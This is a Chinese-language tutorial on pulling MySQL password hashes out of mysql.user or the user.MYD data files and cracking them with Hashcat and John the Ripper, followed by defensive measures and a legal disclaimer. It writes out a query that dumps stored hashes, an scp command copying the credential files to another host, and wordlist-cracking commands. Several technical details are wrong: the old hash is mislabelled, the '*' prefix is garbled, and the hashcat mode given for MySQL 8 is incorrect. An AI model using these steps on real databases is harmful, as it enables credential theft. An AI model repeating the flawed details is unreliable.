首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL 密碼雜湊提取與破解原理解析:從 user.MYD 到 Hashcat 實戰

     編輯:MySQL 綜合教學

密碼雜湊儲存位置

MySQL 使用者帳號與密碼雜湊儲存於 mysql.user 表,物理檔案位於資料目錄:

/var/lib/mysql/mysql/user.frm   # 表結構定義
/var/lib/mysql/mysql/user.MYD   # 資料檔 (含密碼雜湊)
/var/lib/mysql/mysql/user.MYI   # 索引檔

提取雜湊兩種方法

方法一:SQL 查詢 (需資料庫存取權)

USE mysql;
SELECT User, Host, Password FROM user;

輸出範例:

+-----------+-----------+-------------------------------------------+
| User      | Host      | Password                                  |
+-----------+-----------+-------------------------------------------+
| root      | localhost | *5D0B157F0A3BB4DB1A0092B4F270FBDA486EC6EB |
| test      | %         | *085D85329E1557C869A120C9157315A07D51E8A7 |
| ogame     | localhost | *085D85329E1557C869A120C9157315A07D51E8A7 |
+-----------+-----------+-------------------------------------------+

方法二:複製檔案離線分析 (需 OS 權限)

  1. 停止 MySQL:service mysql stop
  2. 複製三檔案至分析機:scp /var/lib/mysql/mysql/user.* analyst@host:/tmp/
  3. 分析機建立同版 MySQL、匯入檔案、查詢雜湊

雜湊格式辨識

版本格式特徵範例演算法
MySQL 4.1+ (舊稱 3.23 格式)16 字元十六進制,無前綴606717496649AF23雙重 SHA-1 (舊)
MySQL 4.1+ (新格式)41 字元,*** 開頭 + 40 字元十六進制*5D0B157F0A3BB4DB1A0092B4F270FBDA486EC6EBSHA-1(SHA-1(password))
MySQL 8.0 (caching_sha2_password)$A$005$ 開頭,含鹽值$A$005$THISISASALT$HASHVALUESHA-256 迭代

破解工具與實戰參數

1. Hashcat (GPU 加速、支援最全)

# MySQL 4.1+ 新格式 (mode 300)
hashcat -m 300 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

# MySQL 8.0 caching_sha2_password (mode 17300)
hashcat -m 17300 -a 0 hashes.txt rockyou.txt

2. John the Ripper (CPU、規則豐富)

# MySQL 4.1+
john --format=mysql-sha1 hashes.txt --wordlist=rockyou.txt --rules

# 舊格式
john --format=mysql hashes.txt --wordlist=rockyou.txt

3. Cain & Abel (Windows GUI、彩虹表)

支援 MySQL 4.1+ 格式,適用於圖形化操作偏好者。

防禦對策:讓破解失效

  1. 強制高熵密碼: 長度 ≥20、隨機產生、密碼管理器儲存
  2. 升級認證插件: MySQL 8.0 預設 caching_sha2_password,破解成本指數級上升
  3. 限制 user 表存取: 僅 root/專用審計帳號可 SELECT Password FROM mysql.user
  4. 檔案層面保護: chmod 600 /var/lib/mysql/mysql/user.*、chown mysql:mysql
  5. 審計雜湊導出行為: 監控 SELECT ... FROM mysql.user、mysqldump mysql.user

法律與道德邊界

僅授權範圍內進行安全測試、滲透測試、事故鑑識。 未經授權提取、破解、使用他人密碼雜湊均屬違法。本文旨在協助防禦者理解攻擊面,建立更強防禦。

結語

MySQL 密碼雜湊從 user.MYD 提取至破解,完整鏈路涵蓋儲存格式演進、提取方法、破解工具參數、防禦對策。核心防禦:**強密碼 + 新認證插件 + 存取控制 + 審計監控**,讓攻擊者即使拿到雜湊也無法在可接受時間內破解。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved